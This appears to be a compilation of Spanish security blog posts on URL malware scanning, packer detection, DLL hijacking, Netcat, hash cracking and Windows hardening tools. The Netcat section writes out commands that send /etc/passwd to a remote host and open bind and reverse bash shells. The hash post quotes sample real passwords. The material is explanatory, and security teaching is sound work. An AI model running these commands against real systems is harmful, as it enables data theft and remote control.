URLQuery, servicio web para el análisis de malware

A día de hoy es complicado saber si no quedaremos infectados al navegar por Internet. Para infectarnos no hace falta que vayamos ha navegar en aquella página que nos puede venir en un correo de SPAM, si no que ahora una de las prácticas habituales de los ciber-criminales es infectar páginas legítimas.
Y esto, ¿porque ocurre?
Bueno es mas fácil poder llegar a infectar a usuarios que vistan webs legítimas que no intentar obligar al usuario a visitar un link que le llegará por correo ¿No?
Para tratar de analizar estas páginas webs existen páginas que nos facilitarán en poco tiempo un reporte de si hay algo peligroso en dicha página web. Uno de esos servicios es URLQuery.
Si vamos hacia la página web encontraremos los análisis que ha ido realizando la gente:

Nos da bastante información como la fecha, si en el IDS saltó una alerta o no, además de la IP e URL/IP.
Vamos a ver primero un ejemplo de una página de dominio .cat de aquí de Cataluña! Veremos un ejemplo de un report de un escaneo.

Podremos ver un resumen del escaneo, en el resumen vemos

• URL
• ASN
• Localización
• Fecha del report
• Status
• Alertas

Además podremos ver un pantallazo de la página web.
En Settings veremos con que parámetros se ha configurado el escaneo. En este caso podemos ver que versiones específicas han saltado.
También podemos ver la parte de alertas que ha saltado en los motores.
Que mas cosas podemos ver en el reporte de URLQuery

Si URLQuery ha encontrado mas alertas en el mismo DOMINIO/IP/ASN nos lo mostrará, para poder ver relación entre infecciones por ejemplo.
Otra de las cosas interesantes es poder ver los Javascripts que se ejecutan en la página para ver si hay alguno malicioso, por ejemplo.
También podremos ver las transacciones HTTP que hay en la web.

En la última parte del report podemos ver los REQUEST que hace la página y los response recibidos.
Vamos a ver en un ejemplo de infección en la web, que indicadores deberíamos de tener en cuenta.

Una de las alertas en las que nos tenemos que fijar en URLQuery es en los Javascript que carga la página, aquí podremos ver funciones EVAL, por ejemplo.
Esta es una de las cosas que podremos tener en cuenta.
Otra de las cosas que podremos ver es las peticiones que se realizan desde la página al cargarla:

URLQuery además nos marcará la petición en amarillo para que la revisemos.
URLQuery es gratis y permite analizar las URL’s que necesites, por otro lado además tienen el apartado de estadísticas en el que podrás consultar que Exploits Packs son los que mas han analizado. También cuando realices un análisis puedes cambiar la versión de Java y Adobe además del navegador.

Problemas en la detección de packers

Es común encontrarse malware que llevan como medida de  protección un packer, esto dificulta tanto la parte de detección por parte de las casas de antivirus como por parte del analista cuando realiza la ingeniería inversa.

Un Packer es  un programa que toma como entrada un fichero ejecutable y devuelve otro fichero ejecutable con la misma funcionalidad pero con ciertas protecciones añadidas que dificultan su análisis.

En el análisis del binario nos podemos encontrar con ciertas dificultades, una de ellas es que al contener el packer existirán diversas partes del binario que estarán cifradas, esto dificulta el análisis del código de manera que tendremos que extraer el packer para poder ver el contenido del binario. Existen multitud de packers, de los mas famosos podemos encontrar UPX, FSG, Themida etc…

El primer paso para poder ver el contenido del binario es averiguar con que Packer ha sido empaquetado. Es en este paso es donde intervienen ciertos programas que se encargan de analizar la cabecera del binario para tratar de analizar con que Packer esta protegido dicho binario.

Este tipo de programas no son 100% fiables y son capaces de darnos falsos positivos y de esto trata la entrada de hoy. 

PEID

PEID es uno de esos programas capaces de dar información de como está empaquetado, estos software se basan en firmas que pueden buscar en bases de datos que se van actualizando, esas firmas se encuentran a lo largo del binario con el binario en si o bien mirando solo el Entry Point.

Ahora haremos la prueba con un binario

PEID nos indica que el binario está empaquetado con UPolyX. ¿Será esto cierto?

El software se puede configurar para que haga los análisis mas profundo del binario 

 Configuramos PEID de esta forma y volvemos a analizar el binario.

El packer detectado es otro, no el encontrado anteriormente, PEID se basa en firmas para la detección del tipo de packer.

RDG Packer Detector

RDG igual que PEID nos ayuda a identificar el packer con el que se haya empaquetado el binario.

También se basa en firmas igual que PEID, pero en este caso también nos da un resultado distinto.

 

RDG detecta el packer por heurística y nos da un resultado distinto a PEID.

¿Fallo en las comprobaciones automáticas?

Una pregunta que nos podemos hacer es porque PEID y RDG han detectado packers distintos, y en el caso de PEID si se configuraba para que la comprobación se hiciera de manera más profunda detectaba un packer distinto, esto es debido a que este tipo de programas se basan en firmas, si miramos el fichero de firmas

Como las firmas se van actualizando, hay firmas que solo están completadas la mitad de la firma, si buscamos en algunos casos de los packers detectados, como Upolyx, Aspack y Extreme Protector, nos encontramos.

 

Este es el caso de Upolyx, detecta la firma porque parte delos Bytes del packer se encuentran en el binario 

Parte de la firma del packer de Aspack también se encuentra en el binario.

 Y por último el packer detectado por RDG que encontraba Xtreme Protector, también es encontrado en el binario.

Además algunos de los packers permiten poner una firma falsa, de manera que dificulta la detección en base a éstas.

Detección del packer manualmente

Otra de las opciones que disponemos es de analizar el binario manualmente con un debugger, no es tan rápido como usar PEID o RDG pero nos aseguramos de tener mas fiabilidad a la hora de detectar el packer.

Para el análisis usaremos OllyDBG, abrimos OllyDBG y empezamos. 

Cargamos el binario a analizar, nos dirigimos al image base + 1000h bytes (es donde se mapea/empieza el código, para este caso), el packer sustituye al programa colocándose él en esta dirección, es por eso que veremos el contenido cifrado.

En la ejecución del programa en primer lugar se ejecuta el código del packer, que se encargará de descifrar y descomprimir el código previamente protegido.

Colocamos un breakpoint y vamos ejecutando el programa en Olly para ver si podemos ver que packer es.

En la ejecución del sample el Olly podemos ver el string “oreans” ; oreans es la empresa que distribuye software comercial como Themida, es posible que se trate de este software así que seguimos buscando entre los distintos productos que distribuye la compañía, hasta encontrar el software. 

Se trata de WinLicense, uno de los productos que distribuye la empresa Oreans para la protección de binarios, que en este caso ha sido utilizado para proteger malware de la detección de antivirus y de un posible análisis del mismo.

El uso de los packers es muy frecuente cuando se trata de malware, muchos aprovechan packers como por ejemplo UPX, los modifican y los usan para volver sus samples modificados indetectables.

Las mafias profesionales ya usan packers privados que son indetectables por los motores antivirus, además en el mundo Underground ya existen servicios que por unos pocos dólares pueden empaquetar un binario con un packer/cripter privado de manera que será difícil detectarlo por los motores antivirus. 

Windows DLL Hijacking

Durante los últimos días, la avalancha de nuevos advisories que se refieren a esta vulnerabilidad está causando bastante revuelo. Ya hay contabilizadas más de 100 aplicaciones vulnerables y la lista parece que continúa creciendo. ¿Realmente es para tanto? Veamos:

La nota detonante ha sido este documento en el cual se reporta una vulnerabilidad que afecta a la aplicación iTunes. Básicamente el problema consiste en la posibilidad de ejecutar código de forma remota, "invitando" a un usuario a abrir con iTunes un archivo inofensivo, ya sea desde una unidad local, una carpeta compartida o una unidad usb. Este archivo se acompaña de una librería específica requerida por la aplicación vulnerable. Cuando la aplicación procede a la apertura del archivo realiza la carga en memoria de esta librería en lugar de la original. ¿Cómo es esto posible?

La explicación técnica es bastante sencilla. Cuando una aplicación de Windows carga de forma dinámica una librería sin especificar la ruta completa, Windows busca esta librería siguiendo un orden específico. Las funciones encargadas de realizar la carga de la librería son LoadLibrary y LoadLibraryEx. Este es el orden de búsqueda del archivo DLL de estas dos funciones:

1. El directorio desde el que se cargó la aplicación
2. El directorio del sistema
3. El directorio del sistema de 16 bits
4. El directorio de Windows
5. El directorio de trabajo actual
6. Los directorios enumerados en la variable de entorno PATH

Si consultamos la documentación oficial de Microsoft vemos que se recomienda no utilizar la función SearchPath para obtener la ruta completa al archivo DLL al utilizarla posteriormente para llamar a LoadLibrary. Esta recomendación se basa en el hecho de que la función SearchPath usa un orden de búsqueda diferente de los archivos, comenzando por el directorio de trabajo. La forma más sencilla de evitar este problema es llamar previamente a la función SetDllDirectory pasándole como parámetro una ruta en blanco, eliminando así el directorio actual del orden de búsqueda por defecto de los archivos DLL.


Verificando la vulnerabilidad.

Unas pruebas rápidas en un entorno controlado son suficientes para comprobar cómo es bastante fácil encontrar aplicaciones vulnerables y cómo explotar esta vulnerabilidad.
Nuestro conejillo de indias será el archivo GRPCONV.EXE incluido en Windows XP, esta aplicación es el conversor de grupos para el Administrador de programas de Windows.

La siguiente es una captura de pantalla de Windbg (debugger) en la cual se aprecia la carga de la librería imm.dll desde el directorio de trabajo en el cual se abre un archivo grp.



La librería imm.dll original que carga la aplicación, se ha sustituido por otra que en realidad es un exploit a medida, el cual proporciona una shell a otro equipo de pruebas con dirección IP 172.17.1.89.



¿Cual ha sido la respuesta de Microsoft?

La siguiente actualización de seguridad proporciona una nueva entrada del registro de Windows CWDIllegalInDllSearch, que permite a los administradores controlar la ruta de búsqueda de las dlls cargadas por las aplicaciones. Mediante esta nueva entrada es posible definir lo siguiente, ya sea para cada aplicación o para todo el sistema:

- Quitar el directorio de trabajo actual de la ruta de búsqueda de la biblioteca.
- Impedir que una aplicación cargue una biblioteca desde una ubicación de WebDAV.
- Impedir que una aplicación cargue una biblioteca desde un WebDAV o desde una ubicación UNC remota.

Es curioso cómo una vulnerabilidad que fue descubierta por Georgi Guninski en el año 2000, y que en su momento (2001) fue activamente explotada por el gusano Nimbda, vuelve a ponerse de actualidad. Pues sí, me temo que no se trata de algo nuevo. Esta era precisamente una de las técnicas que utilizaba Nimbda para propagarse mediante la copia de la supuesta librería riched20.dll en directorios con archivos .doc.

Netcat

Netcat es una utilidad proveniente del mundo del hacking que se ha convertido en una herramienta imprescindible para muchos administradores de redes y sistemas.

Definida por algunos como la navaja suiza del TCP/IP, Netcat es una herramienta de red que permite enviar y recibir conexiones TCP y UDP desde línea de comandos y redirigir el input/output hacia otros comandos.

Esta versatilidad la convierte en muy útil a la hora de realizar pruebas de seguridad o simulacros de intrusión. Permitiendo por ejemplo:

• Enviar un fichero a un equipo remoto
cat /etc/passwd | nc -v 1.1.1.1 666

• Abrir una shell en un puerto
ncat -v -l 1111 -c “/bin/bash -i 2>&1”

• Enviar una shell a un equipo remoto
ncat -v 1.1.1.1 666 -c “/bin/bash -i 2>&1”

* Si la versión de Netcat no permite invocar comandos directamente, podemos utilizar un fichero de FIFO:
mkfifo pipe
/bin/bash -i < pipe | nc -v 1.1.1.1 666 > pipe

• Hacer de proxy directo (aceptar una conexión entrante y abrir una conexión saliente)
ncat -v -l 1111 -c "ncat www.google.es 80"

* Si la versión de Netcat no permite invocar comandos:
mkfifo pipe
nc -v -l 1111 < pipe | nc www.google.es 80 > pipe

• Hacer de proxy combinado (p.e. unir 2 conexiones salientes o 2 conexiones entrantes)
ncat -v -l 1111 -c "ncat -l 2222"

* Si la versión de Netcat no permite invocar comandos:
mkfifo pipe
nc -v -l 1111 < pipe | nc -l 2222 > pipe

* Y si tampoco disponemos de FIFO podemos utilizar el comando “tail”:
echo -en "" > pipe.txt
tail -f pipe.txt | nc -v -l 1111 | nc -l 2222 > pipe.txt

A partir del Netcat original y como muestra de su éxito se han creado varios clones con mejoras y nuevas funcionalidades, por ejemplo: permitir conexiones cifradas, uso de proxies, conexiones múltiples, IPv6, etc.

Los clones más populares son:
 Netcat (original)
 GNU Netcat
 Ncat
 Sbd
 Socat
 SslNetcat
 Pnetcat
 Cryptcat

Aunque muchas distribuciones de Linux llevan ya incluida alguna de estas herramientas de forma que ni siquiera necesitaremos instalarla.

Findmyhash

Findmyhash es un script desarrollado en Python que utiliza un total de 49 servicios online de crackeo de contraseñas.

El objetivo con el que hemos desarrollado esta aplicación es aumentar las posibilidades de romper un hash en aquellas situaciones en las que no disponemos de las Rainbow Tables necesarias. De esta manera, basta con introducir nuestros hashes en la aplicación y ella se encarga de buscarla en diferentes bases de datos online mostrando el resultado final.

Actualmente soporta diez tipos de hashes (algoritmos) diferentes: MD4, MD5, SHA1, SHA256, RMD160, LM, NTLM, MYSQL, CISCO7 y JUNIPER.

Hasta ahora, hemos realizado pruebas principalmente con MD5, LM y NTLM, por ser los más habituales, con unos resultados bastantes satisfactorios. En el caso de LM / NTLM, por ejemplo, existe un porcentaje de acierto de entre el 60 y el 70% (siempre y cuando se especifiquen el valor de ambos hashes).

Para realizar estas pruebas hemos utilizado un total de 100 hashes de contraseñas reales (que se están/estaban utilizando en algún directorio activo) con ejemplos como: "Dba$23.8-J", "Jua!gar8012", "$3St4P4$_0rDd3" ó "7:23^Xl0aY.6=".

La URL del proyecto es:
http://code.google.com/p/findmyhash/

Y podéis descargar la aplicación directamente desde aquí:
http://code.google.com/p/findmyhash/downloads/list

Hardening SSL/TLS.

Con Harden SSL / TLS una aplicación que permite mejorar la seguridad de SSL / TLS de las versiones de Windows 2000, 2003, 2008, 2008 R2, XP, Vista y 7. Esta aplicación permite establecer a nivel local y remota políticas basadas en permitir o denegar ciertos hashes o conjuntos de cifrado, establecer prioridades y modificar parámetros de la caché de sesión TLS.


Harden SSL / TLS permite realizar políticas específicas de ajuste con respecto a los cifrados y los protocolos que estén disponibles para aplicaciones que utilizan el interfaz SCHANNEL de criptografía, ya sean aplicaciones cliente o servidor. Una gran cantidad de aplicaciones de Windows utilizan esta interfaz, por ejemplo: Google Chrome, Safari de Apple… Al cambiar la configuración indirectamente se puede controlar que cifrados pueden utilizar estas aplicaciones. Teniendo en cuenta que una aplicación puede solicitar un conjunto específico de sistemas de cifrado, y si se ha desactivado este conjunto ya no puede usarlo.

En el modo avanzado de esta aplicación permite:

• Habilitar el modo ECC P521; Microsoft eliminó el modo ECC P521 después de Vista y Server 2008, esta opción permite volver a habilitar y volver a introducir el modo ECC P521 para Windows 7 y Server 2008R2.
• Habilitar soporte módulo 1; Cuando un servidor Web utiliza un certificado con un exponente 1 de clave pública RSA, el exponente de la clave privada también se pone a 1. Si estas condiciones están presentes, la conexión no tiene la seguridad de encriptación. Al habilitar esta se configura el cliente para permitir una conexión a un servidor Web que utiliza un certificado con un exponente 1 de clave pública RSA.
• Modificar el tiempo de la cache TLS / SSL; Una de las razones para cambiar el valor predeterminado de la caché de sesión SSL es obligar al cliente a autenticar con más frecuencia. El frecuente almacenamiento en caché es útil a veces, por ejemplo, si se desea reducir el esfuerzo computacional o si se sabe que el cliente está utilizando una tarjeta inteligente y desea que la página web sea accesible sólo cuando el usuario inserta la tarjeta inteligente en el lector.
• Tamaño de la cache TLS / SSL; IIS mantiene los objetos en memoria para el seguimiento de cada conexión a la web de entrada. Después de cinco minutos de tiempo de inactividad, estos objetos son destruidos para reclamar los recursos. Durante este proceso, IIS purga el ID de sesión SSL / TLS de la tabla sesión ID de la caché del sistema operativo. IIS también purga toda la información de conexión que se negocia entre el cliente y el servidor. Cuando un cliente intenta reanudar una sesión de SSL / TLS mediante el identificador de sesión anterior, el servidor no puede encontrar la información de conexión en la memoria caché. Por lo tanto, el cliente debe renegociar la conexión. Además, el cliente debe obtener un nuevo identificador de sesión. El aumento del tamaño de la caché puede reducir la carga de la CPU, pero aumenta el uso de memoria, cada elemento de caché de la sesión normalmente requiere de 2 a 4 Kb de memoria.

Más información de Harden SSL / TLS:
http://www.g-sec.lu/sslharden/documentation.pdf

Descarga de Harden SSL / TLS:
http://www.g-sec.lu/sslharden/HardenSSL.zip

Herramienta para monitorizar procesos en busca de malware.

Se trata Procces Hacker una herramienta para sistemas Windows muy potente y polivalente que ayuda a monitorizar procesos, recursos del sistema, depurar software y detectar malware.

Entre sus características principales destaca:

• Una descripción detallada de la actividad de los procesos que corren en el sistema resaltando los más importantes. 
• Utiliza gráficos y estadísticas que permiten localizar rápidamente  los procesos que más recursos consumen y los que sobrecargan la CPU. 
• Descubre los procesos que están utilizando un archivo, esto nos permite saber porque no se puede eliminar un archivo determinado. 
• Permite ver qué procesos tienen conexiones de red activas con detalles como: puerto, ip de destino, ancho de banda… 
• Obtener información en tiempo real sobre el acceso a disco. 
• Puede ver trazas detalladas con kernel-mode, WOW64 y .NET. 
• Crear, modificar y controlar los servicios de Windows. 
• Muestra máscaras simbólicas de acceso (por ejemplo Read y Write ), en lugar de números (por ejemplo 0x12019f ). 

Esta herramienta combinada con la web ProcessLibrary un recurso gratuito de Uniblue Systems Ltd. que proporciona información acerca de los procesos y DLLs que se encuentran en los sistemas Windows y que cuenta con una amplia base de datos y se actualiza regularmente con más de 195.000 entradas; forman una combinación excelente para detectar malware en un sistema Windows.

Más información y descarga de Procces Hacker:
http://processhacker.sourceforge.net/